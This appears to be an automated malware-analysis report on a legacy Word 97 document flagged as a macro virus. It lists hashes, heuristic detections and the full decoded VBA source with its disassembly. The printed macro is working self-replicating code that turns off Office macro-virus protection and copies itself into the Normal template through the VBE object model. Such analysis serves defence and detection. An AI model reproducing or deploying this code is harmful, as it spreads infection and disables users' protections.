Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b51eb8327ab09943…

MALICIOUS

Office (OLE)

42.5 KB Created: 2000-02-05 21:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1d85a708cba72c8cc5a47497a12f77df SHA-1: ebfb6295e08cefb7878abd8fe35b491e6654b03c SHA-256: b51eb8327ab09943c2d05e46a1cb638f60f67dfb5a5abc873a778130c44bfcc0
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of legacy macro viruses, including WordBasic markers and the presence of AutoOpen/AutoClose VBA macros. The AutoClose subroutine attempts to obfuscate its presence by modifying the VBA project and exporting/importing code, creating a temporary file named '~CL7610_2.~MP' in the user's temporary directory. The use of Environ("temp") indicates an attempt to hide its operations within the system's temporary file structure.

Heuristics 7

  • ClamAV: Doc.Trojan.Temp29-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Temp29-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    On Error GoTo ou: Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    .replaceline 1, "Sub AutoOpen()"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ad = ADVBC.codemodule.CountOfLines: nt = NTVBC.codemodule.CountOfLines: EXPFN = Environ("temp") & "\~CL7610_2.~MP"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4160 bytes
SHA-256: 43bc37fa19f4f136c3a16cc4b65fe209509afa9972dbb7a8949780224c56fdef
Detection
ClamAV: Doc.Trojan.Temp29-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
On Error GoTo ou: Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
Set NTVBC = NormalTemplate.VBProject.VBComponents.Item(1): Set ADVBC = ActiveDocument.VBProject.VBComponents.Item(1)
ad = ADVBC.codemodule.CountOfLines: nt = NTVBC.codemodule.CountOfLines: EXPFN = Environ("temp") & "\~CL7610_2.~MP"
If nt > 28 And ad > 28 Then GoTo ou
If nt < 29 Then
    Set dhst = NTVBC
    Set shst = ADVBC
Else
    Set dhst = ADVBC
    Set shst = NTVBC
End If
shst.Name = dhst.Name
shst.Export (EXPFN)
With dhst.codemodule
.AddFromFile (EXPFN)
.deletelines 1, 4
temp$ = .lines(1, 1)
.replaceline 1, "Sub AutoOpen()"
.replaceline 19, ".replaceline 1," & Chr$(34) & temp$ & Chr$(34)
temp$ = .lines(28, 1)
.replaceline 28, "Sub ToolsMacro()"
.replaceline 22, ".replaceline 28," & Chr$(34) & temp$ & Chr$(34)
End With
Kill (EXPFN)
ou:
End Sub
Sub ViewVBCode()
End Sub

' Processing file: /tmp/qstore_n_s0_7i1
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5746 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError ou 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #2:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set NTVBC 
' 	BoS 0x0000 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ADVBC 
' Line #3:
' 	Ld ADVBC 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' 	BoS 0x0000 
' 	Ld NTVBC 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' 	BoS 0x0000 
' 	LitStr 0x0004 "temp"
' 	ArgsLd Environ 0x0001 
' 	LitStr 0x000E "\~CL7610_2.~MP"
' 	Concat 
' 	St EXPFN 
' Line #4:
' 	Ld nt 
' 	LitDI2 0x001C 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x001C 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo ou 
' 	EndIf 
' Line #5:
' 	Ld nt 
' 	LitDI2 0x001D 
' 	Lt 
' 	IfBlock 
' Line #6:
' 	SetStmt 
' 	Ld NTVBC 
' 	Set dhst 
' Line #7:
' 	SetStmt 
' 	Ld ADVBC 
' 	Set shst 
' Line #8:
' 	ElseBlock 
' Line #9:
' 	SetStmt 
' 	Ld ADVBC 
' 	Set dhst 
' Line #10:
' 	SetStmt 
' 	Ld NTVBC 
' 	Set shst 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Ld dhst 
' 	MemLd New 
' 	Ld shst 
' 	MemSt New 
' Line #13:
' 	Ld EXPFN 
' 	Paren 
' 	Ld shst 
' 	ArgsMemCall Export 0x0001 
' Line #14:
' 	StartWithExpr 
' 	Ld dhst 
' 	MemLd codemodule 
' 	With 
' Line #15:
' 	Ld EXPFN 
' 	Paren 
' 	ArgsMemCallWith AddFromFile 0x0001 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	ArgsMemCallWith deletelines 0x0002 
' Line #17:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	ArgsMemLdWith lines 0x0002 
' 	St temp$ 
' Line #18:
' 	LitDI2 0x0001 
' 	LitStr 0x000E "Sub AutoOpen()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #19:
' 	LitDI2 0x0013 
' 	LitStr 0x000F ".replaceline 1,"
' 	LitDI2 0x0022 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	Ld temp$ 
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #20:
' 	LitDI2 0x001C 
' 	LitDI2 0x0001 
' 	ArgsMemLdWith lines 0x0002 
' 	St temp$ 
' Line #21:
' 	LitDI2 0x001C 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #22:
' 	LitDI2 0x0016 
' 	LitStr 0x0010 ".replaceline 28,"
' 	LitDI2 0x0022 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	Ld temp$ 
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #23:
' 	EndWith 
' Line #24:
' 	Ld EXPFN 
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #25:
' 	Label ou 
' Line #26:
' 	EndSub 
' Line #27:
' 	FuncDefn (Sub ViewVBCode())
' Line #28:
' 	EndSub